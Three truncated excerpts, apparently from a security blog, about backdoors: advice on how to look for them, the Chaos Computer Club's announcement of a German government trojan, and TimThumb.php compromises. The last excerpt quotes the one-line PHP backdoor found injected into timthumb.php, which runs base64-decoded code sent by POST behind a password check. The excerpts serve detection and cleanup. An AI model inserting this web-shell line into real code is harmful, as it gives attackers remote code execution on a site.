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A few months ago we did a post about backdoors, explaining how they work and how to look for them. If you didn’t read it, take a read here:ASK Sucuri: What about the backdoors?However, we still see on online forums people recommending to search for “eval ( base64_decode” and things like that when searching for backdoors. If […]

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Chaos Computer Club from Germany has tonight announced that they have located a backdoor trojan used by the German Goverment. The announcment was made public on ccc.de with a detailed 20-page analysis of the functionality of the malware. Download the report in PDF (in German) The malware in question is a Windows backdoor consisting of […]

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Sep
2011

If your site got compromised lately with the TimThumb.php vulnerability, make sure to check that script to see if it was not modified to act as a backdoor as well. We are seeing in many sites the timthumb.php with the following code added to it: if (md5(md5($_POST[‘p’]))===’xxx8ab2ab.. a4ec61072xxx’) die(eval(base64_decode($_POST[‘c’]))); If you are not sure what this […]

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